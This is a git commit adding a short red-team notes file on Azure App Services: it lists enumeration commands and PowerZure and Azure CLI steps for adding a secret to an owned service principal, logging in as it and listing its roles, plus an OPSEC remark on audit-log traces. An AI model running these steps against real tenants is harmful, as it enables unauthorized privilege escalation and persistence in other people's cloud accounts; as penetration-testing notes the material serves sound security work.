first commit

Necronomicon/Cloud/Azure/Reader Permissions/App Services.md

@@ -0,0 +1,18 @@
+- General
+	- `Get-AzWebApp`    `Get-AzWebApp | Select EnabledHostNames`
+		- Gather information on web applications
+		- Also extracted with `Get-AzDomainInfo` in MicroBurst - \\Resources\\AppServices.csv
+- Function Apps
+	- Check to see if source code/config files are available
+- Service Principal exploitation
+	- PowerZure
+		- `Get-AzureAppOwner`
+			- Determine if current user is assigned as the owner of a service principal
+		- `Add-AzureSPSecret -ApplicationName customapp -Password myPassword456`
+			- Can now authenticate as this service principal with this password and explore its permissions
+			- Note Tenant/App ID in output
+			- OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application – Certificates and secrets management".
+		- `az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID`
+			- Authenticate using Azure CLI as service principal
+		- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
+			- Determine role assignment of service principal